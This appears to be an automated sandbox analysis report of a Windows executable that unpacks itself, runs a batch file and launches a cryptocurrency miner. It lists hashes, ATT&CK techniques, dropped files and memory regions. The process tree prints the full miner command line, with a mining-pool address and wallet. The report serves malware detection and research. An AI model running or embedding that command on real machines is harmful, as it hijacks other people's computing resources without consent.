73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 17:41

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
756	b2e.exe
2024	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2024	cpuminer-sse2.exe
2024	cpuminer-sse2.exe
2024	cpuminer-sse2.exe
2024	cpuminer-sse2.exe
2024	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3360-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3360 wrote to memory of 756	3360	batexe.exe	85
PID 3360 wrote to memory of 756	3360	batexe.exe	85
PID 3360 wrote to memory of 756	3360	batexe.exe	85
PID 756 wrote to memory of 1288	756	b2e.exe	86
PID 756 wrote to memory of 1288	756	b2e.exe	86
PID 756 wrote to memory of 1288	756	b2e.exe	86
PID 1288 wrote to memory of 2024	1288	cmd.exe	89
PID 1288 wrote to memory of 2024	1288	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3360
- C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6FC1.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe

Filesize
7.2MB

MD5
74c2e047753aae976d260d83bbf62676

SHA1
af2ff87a23e2940de2258b785faa76508c93c123

SHA256
826411201aec1c9b9b56f80a477777c2eb3866888e99e9c9d12db630071e7a50

SHA512
b84f777ef3d41fc01b99b6b532540a375d99513837f684f92572bc1ac5191000c14c92929bdcd5513bb3c91d9383700eba99649d6aa823e8ff2b09da057d3b0c

Download Submit
C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe

Filesize
5.9MB

MD5
5b367d7ac847a1df26622d49f95f4232

SHA1
818985e44a0f9f615eead56dae5fa13a11e00964

SHA256
f1b8691c36809fc807689967a864f887f2325a75631fb54dc028143c17a7fb42

SHA512
08e1f37abab823da8cb53a2f591cfe1cda0e6b12e47e4ed13eac348030fac4f47943b085b68978b95c0876c24b5df1e42614c148fdb74d5101175f7bd3f31a39

Download Submit
C:\Users\Admin\AppData\Local\Temp\6C66.tmp\b2e.exe

Filesize
7.1MB

MD5
ee239b221887a51cc06ac4e1cc41fb8e

SHA1
e34654d206497c4ee510c3d4d0e29bbe2a01d215

SHA256
c7c6f148c4516051fd473f7cd1c30ffa2697198c082e9458f86acd6a85e0ae0f

SHA512
5e1702b596bb4dcdcb63f064deb7b2e1bc793fc740a8ea96c878b4848d791fff0a1a378cd6a311e43123a8c07c2150d7ebff43aaf9cef0c1fb2badbba1b1aa9a

Download Submit
C:\Users\Admin\AppData\Local\Temp\6FC1.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
b969ee11afec75e3f5d486233b44e9f0

SHA1
6e03c993dd6e785a7b9697446866c2fca81d4460

SHA256
1a86c594cc369d71053bfc2e0c7da47c2bb79bd839780753eb869948069a3d78

SHA512
f728879be7d0d8c97ee55eba9d91bd270d99d3e4aae085f61a11b20bac769022edc7f39786361d3501587e1030003f1ea277d292230fd038ebcfce1eaaa47859

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.0MB

MD5
af66ec810e1686bde887103043bcc6bf

SHA1
14b7c9c5bd6c23fcd48edb4be27ad99914251526

SHA256
dba6a6f4aa8897fb62780ed3c9c1fe5da64e3df590a1beb76678e0ae7b8b18f0

SHA512
e3c34e413118bdd625b840929d3757d4dfb283edc591f41ad1037c423230b0720284627cb26f9a424fa7cb8f8f83373ba5c36fdae74153e6ff65dff1c3b5a8a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.5MB

MD5
5b227b333b872ef726772aa3a23c9a30

SHA1
bc9a0a31c0929044efe49f592197199146e17e46

SHA256
cd8b3c81894be1903d23f956da461af33c259946be17209a5ae5e5fd01249dc2

SHA512
abca09e2c13073088f880ec3840a987712d35d08cb73e4bb58a99da205aadcbfa09f7eb94fe7c21420d3d17aa467c32c073beec41b430556f6037f59da8342a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/756-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/756-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2024-45-0x0000000067D60000-0x0000000067DF8000-memory.dmp

Filesize
608KB

Download
memory/2024-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2024-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2024-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2024-47-0x0000000001150000-0x0000000002A05000-memory.dmp

Filesize
24.7MB

Download
memory/2024-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2024-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2024-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2024-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2024-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2024-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2024-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2024-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2024-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3360-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download